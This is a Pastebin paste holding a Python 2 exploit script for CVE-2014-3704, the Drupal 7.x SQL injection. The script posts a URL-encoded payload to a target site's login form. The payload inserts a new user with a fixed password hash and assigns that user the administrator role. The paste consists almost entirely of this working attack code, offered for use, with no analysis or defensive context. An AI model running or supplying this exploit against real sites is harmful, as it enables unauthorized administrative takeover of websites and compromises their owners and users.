Guest User

Untitled

a guest
Jun 3rd, 2017
30
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.96 KB | None | 0 0
  1. #!/usr/bin/python
  2. import sys, urllib2 # Import the required modules for the script
  3.  
  4. if len(sys.argv) != 2: # Checks to make sure that a URL was supplied as a sys argument "[script] [URL]"
  5.  print "Usage: "+sys.argv[0]+" [URL]"
  6.  sys.exit(0)
  7.  
  8. URL=sys.argv[1] # Assigns URL variable and prints out message
  9. print "[+] Attempting CVE-2014-3704 Drupal 7.x SQLi"
  10. user=raw_input("Username to add: ") # Gets username from user input
  11.  
  12. Host = URL.split('/')[2] # Parse host from URL: 'http://<host>/' will parse out <host>
  13. headers = { # Set the appropriate headers for the response
  14.  'Host': Host,
  15.  'User-Agent': 'Mozilla',
  16.  'Connection': 'keep-alive'}
  17.  
  18. # SQL Query send in body of post via the data variable:
  19.  
  20. # insert into users (uid, name, pass, mail, status) select max(uid)+1, '"+user+"', '[password_hash]', 'email@gmail.com', 1 from users; insert into users_roles (uid, rid) VALUES ((select uid from users where name='"+user+"'), (select rid from role where name = 'administrator')
  21.  
  22. data = "name%5b0%20%3binsert%20into%20users%20%28uid%2c%20name%2c%20pass%2c%20mail%2c%20status%29%20select%20max%28uid%29%2b1%2c%20%27"+user+"%27%2c%20%27%24S%24$S$CTo9G7Lx27gCe3dTBYhLhZOTqtJrlc7n31BjHl/aWgfK82GIACiTExGY3A9yrK1l3DdUONFFv8xV8SH9wr4r23HJauz47c/%27%2c%20%27email%40gmail.com%27%2c%201%20from%20users%3b%20insert%20into%20users_roles%20%28uid%2c%20rid%29%20VALUES%20%28%28select%20uid%20from%20users%20where%20name%3d%27"+user+"%27%29%2c%20%28select%20rid%20from%20role%20where%20name%20%3d%20%27administrator%27%29%29%3b%3b%20%23%20%5d=zRGAcKznoV&name%5b0%5d=aYxxuroJbo&pass=lGiEbjpEGm&form_build_id=form-5gCSidRr8NruKFEYt3eunbFEhLCfJaGuqGAnu80Vv0M&form_id=user_login_block&op=Log%20in"
  23. req = urllib2.Request(URL+"?q=node&destination=node", data, headers)
  24.  
  25. try: # Sets up a Try/Except loop so exceptions are handled cleanly
  26.  response = urllib2.urlopen(req) # Actually makes the request
  27.  print "Account created with user: "+user+" and password: password"
  28. except Exception as e: print e
Add Comment
Please, Sign In to add comment